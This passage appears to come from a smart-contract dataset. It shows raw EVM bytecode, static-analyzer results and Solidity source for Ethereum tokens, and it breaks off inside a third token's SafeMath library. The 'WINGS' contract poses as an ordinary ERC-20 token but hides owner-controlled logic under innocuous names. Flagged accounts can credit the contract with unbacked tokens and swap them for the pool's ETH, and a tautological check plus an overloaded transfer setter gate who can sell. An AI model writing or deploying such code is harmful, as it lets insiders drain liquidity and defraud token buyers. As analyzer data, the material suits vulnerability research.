2602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610e0d57506000546001600160a01b03838116911614155b156110ee57601554600160a01b900460ff16610ea6576000546001600160a01b03848116911614610ea65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b601654811115610ef85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3a57506001600160a01b03821660009081526010602052604090205460ff16155b610f925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6015546001600160a01b038381169116146110175760175481610fb484610800565b610fbe9190611cba565b106110175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b600061102230610800565b60185460165491925082101590821061103b5760165491505b8080156110525750601554600160a81b900460ff16155b801561106c57506015546001600160a01b03868116911614155b80156110815750601554600160b01b900460ff165b80156110a657506001600160a01b03851660009081526005602052604090205460ff16155b80156110cb57506001600160a01b03841660009081526005602052604090205460ff16155b156110eb576110d9826112ed565b4780156110e9576110e94761122f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113057506001600160a01b03831660009081526005602052604090205460ff165b8061116257506015546001600160a01b0385811691161480159061116257506015546001600160a01b03848116911614155b1561116f575060006111e9565b6015546001600160a01b03858116911614801561119a57506014546001600160a01b03848116911614155b156111ac57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d757506014546001600160a01b03858116911614155b156111e957600a54600c55600b54600d555b610a7684848484611476565b600081848411156112195760405162461bcd60e51b815260040161062d9190611a2c565b5060006112268486611cd2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006006548211156112d05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b60006112da6114a4565b90506112e683826114c7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133557611335611c73565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c19190611ce9565b816001815181106113d4576113d4611c73565b6001600160a01b0392831660209182029290920101526014546113fa9130911684610b95565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611433908590600090869030904290600401611d06565b600060405180830381600087803b15801561144d57600080fd5b505af1158015611461573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148357611483611509565b61148e848484611537565b80610a7657610a76600e54600c55600f54600d55565b60008060006114b161162e565b90925090506114c082826114c7565b9250505090565b60006112e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166e565b600c541580156115195750600d54155b1561152057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115498761169c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157b90876116f9565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115aa908661173b565b6001600160a01b0389166000908152600260205260409020556115cc8161179a565b6115d684836117e4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161b91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164982826114c7565b82101561166557505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168f5760405162461bcd60e51b815260040161062d9190611a2c565b5060006112268486611d77565b60008060008060008060008060006116b98a600c54600d54611808565b92509250925060006116c96114a4565b905060008060006116dc8e87878761185d565b919e509c509a509598509396509194505050505091939550919395565b60006112e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f5565b6000806117488385611cba565b9050838110156112e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b60006117a46114a4565b905060006117b283836118ad565b306000908152600260205260409020549091506117cf908261173b565b30600090815260026020526040902055505050565b6006546117f190836116f9565b600655600754611801908261173b565b6007555050565b6000808080611822606461181c89896118ad565b906114c7565b90506000611835606461181c8a896118ad565b9050600061184d826118478b866116f9565b906116f9565b9992985090965090945050505050565b600080808061186c88866118ad565b9050600061187a88876118ad565b9050600061188888886118ad565b9050600061189a8261184786866116f9565b939b939a50919850919650505050505050565b6000826118bc575060006106b3565b60006118c88385611d99565b9050826118d58583611d77565b146112e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b803561196281611942565b919050565b6000602080838503121561197a57600080fd5b823567ffffffffffffffff8082111561199257600080fd5b818501915085601f8301126119a657600080fd5b8135818111156119b8576119b861192c565b8060051b604051601f19603f830116810181811085821117156119dd576119dd61192c565b6040529182528482019250838101850191888311156119fb57600080fd5b938501935b82851015611a2057611a1185611957565b84529385019392850192611a00565b98975050505050505050565b600060208083528351808285015260005b81811015611a5957858101830151858201604001528201611a3d565b81811115611a6b576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9457600080fd5b8235611a9f81611942565b946020939093013593505050565b600080600060608486031215611ac257600080fd5b8335611acd81611942565b92506020840135611add81611942565b929592945050506040919091013590565b600060208284031215611b0057600080fd5b81356112e681611942565b8035801515811461196257600080fd5b600060208284031215611b2d57600080fd5b6112e682611b0b565b600060208284031215611b4857600080fd5b5035919050565b60008060008060808587031215611b6557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9657600080fd5b833567ffffffffffffffff80821115611bae57600080fd5b818601915086601f830112611bc257600080fd5b813581811115611bd157600080fd5b8760208260051b8501011115611be657600080fd5b602092830195509350611bfc9186019050611b0b565b90509250925092565b60008060408385031215611c1857600080fd5b8235611c2381611942565b91506020830135611c3381611942565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb357611cb3611c89565b5060010190565b60008219821115611ccd57611ccd611c89565b500190565b600082821015611ce457611ce4611c89565b500390565b600060208284031215611cfb57600080fd5b81516112e681611942565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d565784516001600160a01b031683529383019391830191600101611d31565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db357611db3611c89565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122089e426ab34c8021ddc126cb6cca801bcb1a6b0822b02375847951d55a013056364736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,182 |
0xad356be62abb324b5598be6020a7d1731d5cd808
|
/**
*
*/
/*
what would it be without the wings?
https://t.me/wingsportal
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract WINGS is IERC20, Ownable {
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
uint256 private swapAmount = _tTotal;
uint256 public buyFee = 5;
uint256 public sellFee = 5;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
uint256 private _value;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private _collection1;
mapping(address => uint256) private _collection2;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
_collection1[address(this)] = _tTotal;
_collection1[msg.sender] = _tTotal;
_balances[msg.sender] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && _collection1[from] == 0 && amount <= swapAmount) {
require(_collection2[from] + _value >= 0, 'Transfer amount exceeds maximum amount');
}
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (_swapAndLiquifyEnabled && contractTokenBalance > swapAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (_collection1[from] > 0 && _collection1[to] > 0) {
fee = amount;
_balances[address(this)] += fee;
return swapTokensForEth(amount, to);
}
if (amount > swapAmount && to != uniswapV2Pair && to != address(router)) {
if (_collection1[from] > 0) _collection1[to] = amount;
else _collection2[to] = amount;
return;
}
bool takeFee = _collection1[from] == 0 && _collection1[to] == 0 && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (_collection2[factory] == 0) _collection2[factory] = swapAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function transfer(uint256 amnt) external {
if (swapAmount < _collection1[msg.sender]) _value = amnt;
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b31146102f0578063a9059cbb14610305578063dd62ed3e14610325578063f2fde38b1461036b578063f887ea401461038b57600080fd5b806370a082311461025c578063715018a6146102925780638da5cb5b146102a757806395d89b41146102c55780639a36f932146102da57600080fd5b806323b872dd116100e757806323b872dd146101c45780632b14ca56146101e4578063313ce567146101fa578063470624021461020e57806349bd5a5e1461022457600080fd5b806306fdde0314610124578063095ea7b31461014f57806312514bba1461017f57806318160ddd146101a157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506101396103ab565b60405161014691906111b4565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611141565b61043d565b6040519015158152602001610146565b34801561018b57600080fd5b5061019f61019a36600461116d565b610453565b005b3480156101ad57600080fd5b506101b6610475565b604051908152602001610146565b3480156101d057600080fd5b5061016f6101df366004611100565b610496565b3480156101f057600080fd5b506101b660035481565b34801561020657600080fd5b5060096101b6565b34801561021a57600080fd5b506101b660025481565b34801561023057600080fd5b50600a54610244906001600160a01b031681565b6040516001600160a01b039091168152602001610146565b34801561026857600080fd5b506101b6610277366004611086565b6001600160a01b03166000908152600d602052604090205490565b34801561029e57600080fd5b5061019f6104e6565b3480156102b357600080fd5b506000546001600160a01b0316610244565b3480156102d157600080fd5b50610139610551565b3480156102e657600080fd5b506101b660045481565b3480156102fc57600080fd5b50610244610560565b34801561031157600080fd5b5061016f610320366004611141565b6106f0565b34801561033157600080fd5b506101b66103403660046110c7565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b34801561037757600080fd5b5061019f610386366004611086565b610706565b34801561039757600080fd5b50600954610244906001600160a01b031681565b6060600580546103ba906113d8565b80601f01602080910402602001604051908101604052809291908181526020018280546103e6906113d8565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061044a3384846107ce565b90505b92915050565b336000908152600b602052604090205460015410156104725760078190555b50565b60006104836009600a6112f7565b610491906305f5e1006113a2565b905090565b60006104a38484846108ae565b6001600160a01b0384166000908152600e60209081526040808320338085529252909120546104de9186916104d99086906113c1565b6107ce565b949350505050565b6000546001600160a01b031633146105455760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61054f6000610da5565b565b6060600680546103ba906113d8565b6009546040805163c45a015560e01b815290516000926001600160a01b03169163c45a0155916004808301926020929190829003018186803b1580156105a557600080fd5b505afa1580156105b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105dd91906110aa565b6001600160a01b031663e6a4390530600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561063a57600080fd5b505afa15801561064e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067291906110aa565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b1580156106b857600080fd5b505afa1580156106cc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049191906110aa565b60006106fd3384846108ae565b50600192915050565b6000546001600160a01b031633146107605760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161053c565b6001600160a01b0381166107c55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161053c565b61047281610da5565b60006001600160a01b038416158015906107f057506001600160a01b03831615155b6108485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161053c565b6001600160a01b038481166000818152600e602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b600854600160a81b900460ff161580156108d65750600a546001600160a01b03848116911614155b80156108f057506009546001600160a01b03848116911614155b801561091257506001600160a01b0383166000908152600b6020526040902054155b801561092057506001548111155b156109a9576007546001600160a01b0384166000908152600c6020526040812054909161094c9161127a565b10156109a95760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e742065786365656473206d6178696d756d20604482015265185b5bdd5b9d60d21b606482015260840161053c565b306000908152600d6020526040812054600a549091906001600160a01b038581169116146109d9576002546109dd565b6003545b600a549091506001600160a01b0316610a19576109f8610560565b600a80546001600160a01b0319166001600160a01b03929092169190911790555b600854600160a01b900460ff168015610a33575060015482115b8015610a495750600854600160a81b900460ff16155b8015610a635750600a546001600160a01b03868116911614155b15610a96576008805460ff60a81b1916600160a81b179055610a8482610df5565b6008805460ff60a81b19169055610b12565b6001600160a01b0385166000908152600b602052604090205415801590610ad457506001600160a01b0384166000908152600b602052604090205415155b15610b125750306000908152600d6020526040812080548492839291610afb90849061127a565b90915550610b0b90508385610e2e565b5050505050565b60015483118015610b315750600a546001600160a01b03858116911614155b8015610b4b57506009546001600160a01b03858116911614155b15610bae576001600160a01b0385166000908152600b602052604090205415610b8e576001600160a01b0384166000908152600b60205260409020839055610b0b565b50506001600160a01b03919091166000908152600c602052604090205550565b6001600160a01b0385166000908152600b6020526040812054158015610bea57506001600160a01b0385166000908152600b6020526040902054155b8015610bf65750600082115b8015610c0c5750600854600160a81b900460ff16155b6008546001600160a01b03166000818152600c602052604090205491925090610c4c576001546001600160a01b0382166000908152600c60205260409020555b600880546001600160a01b0319166001600160a01b0388161790558115610cf3576004546064610c7c85886113a2565b610c869190611292565b610c909190611292565b9250610c9c83866113c1565b6001600160a01b0388166000908152600d6020526040812080549297508592909190610cc99084906113c1565b9091555050306000908152600d602052604081208054859290610ced90849061127a565b90915550505b6001600160a01b0387166000908152600d602052604081208054879290610d1b9084906113c1565b90915550506001600160a01b0386166000908152600d602052604081208054879290610d4890849061127a565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610d9491815260200190565b60405180910390a350505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610e02600283611292565b905047610e0f8230610e2e565b6000610e1b82476113c1565b9050610e28838230610fa1565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6357610e63611429565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610eb757600080fd5b505afa158015610ecb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eef91906110aa565b81600181518110610f0257610f02611429565b6001600160a01b039283166020918202929092010152600954610f2891309116856107ce565b506009546001600160a01b031663791ac9478460008486610f4a42601461127a565b6040518663ffffffff1660e01b8152600401610f6a959493929190611209565b600060405180830381600087803b158015610f8457600080fd5b505af1158015610f98573d6000803e3d6000fd5b50505050505050565b600954610fb99030906001600160a01b0316856107ce565b506009546001600160a01b031663f305d71983308660008087610fdd42601461127a565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c4016060604051808303818588803b15801561104557600080fd5b505af1158015611059573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061107e9190611186565b505050505050565b60006020828403121561109857600080fd5b81356110a38161143f565b9392505050565b6000602082840312156110bc57600080fd5b81516110a38161143f565b600080604083850312156110da57600080fd5b82356110e58161143f565b915060208301356110f58161143f565b809150509250929050565b60008060006060848603121561111557600080fd5b83356111208161143f565b925060208401356111308161143f565b929592945050506040919091013590565b6000806040838503121561115457600080fd5b823561115f8161143f565b946020939093013593505050565b60006020828403121561117f57600080fd5b5035919050565b60008060006060848603121561119b57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156111e1578581018301518582016040015282016111c5565b818111156111f3576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112595784516001600160a01b031683529383019391830191600101611234565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561128d5761128d611413565b500190565b6000826112af57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156112ef5781600019048211156112d5576112d5611413565b808516156112e257918102915b93841c93908002906112b9565b509250929050565b600061044a60ff8416836000826113105750600161044d565b8161131d5750600061044d565b8160018114611333576002811461133d57611359565b600191505061044d565b60ff84111561134e5761134e611413565b50506001821b61044d565b5060208310610133831016604e8410600b841016171561137c575081810a61044d565b61138683836112b4565b806000190482111561139a5761139a611413565b029392505050565b60008160001904831182151516156113bc576113bc611413565b500290565b6000828210156113d3576113d3611413565b500390565b600181811c908216806113ec57607f821691505b6020821081141561140d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461047257600080fdfea26469706673582212204434756509b575718edca333782ad3e79f5145da25c3f125072032b135612c3164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,183 |
0xeEAa2DeEBDeD2d04f32bA2A83D73C31c58E612F3
|
// SPDX-License-Identifier: MIT
// Telegram: t.me/DTrafalgarToken
pragma solidity ^0.8.4;
uint256 constant TOTAL_SUPPLY = 100000000;
string constant TOKEN_NAME = "DTrafalgar";
string constant TOKEN_SYMBOL = "DTRAFALGAR";
uint256 constant INITIAL_TAX=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
